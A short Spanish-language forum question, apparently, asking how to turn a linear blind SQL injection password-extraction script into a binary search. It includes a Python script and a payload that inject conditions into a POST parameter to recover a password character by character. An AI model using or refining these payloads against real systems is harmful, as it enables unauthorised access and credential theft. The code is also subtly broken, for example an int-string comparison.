Por lo que leo en línea, es posible aplicar una búsqueda binaria para explotar vulnerabilidades de inyección ciega de SQL, y eso es probablemente lo que usan las herramientas como sqlmap para reducir la cantidad de consultas que deben enviarse al servidor.
Supongamos que tengo que encontrar una contraseña en minúsculas, mayúsculas y dígitos.
Digamos que todos los caracteres o dígitos tienen la misma probabilidad de aparecer en la contraseña.
En este momento se me ocurrió el script Python, que implementa un algoritmo lineal O(n)
que recorre todos los caracteres posibles.
import requests, re
from string import ascii_letters, digits
characters = ascii_letters + digits
current_password = ''
while(current_password<64):
for ch in characters:
query = {'q':'foo" AND BINARY password LIKE {}%'.format(current_password+ch) }
r = requests.post(url, data=query)
if 'OK' in r.text:
current_password += ch
break
No puedo entender cómo se puede modificar la consulta SQL para utilizar una búsqueda binaria.
Intenté usar los operadores <
y >
, como por ejemplo:
query = {'q':'foo" AND password < {}'.format(current_password+ch) }
Pero las respuestas devueltas por el servidor no parecen ser lo suficientemente útiles como para ser utilizadas para implementar una búsqueda binaria.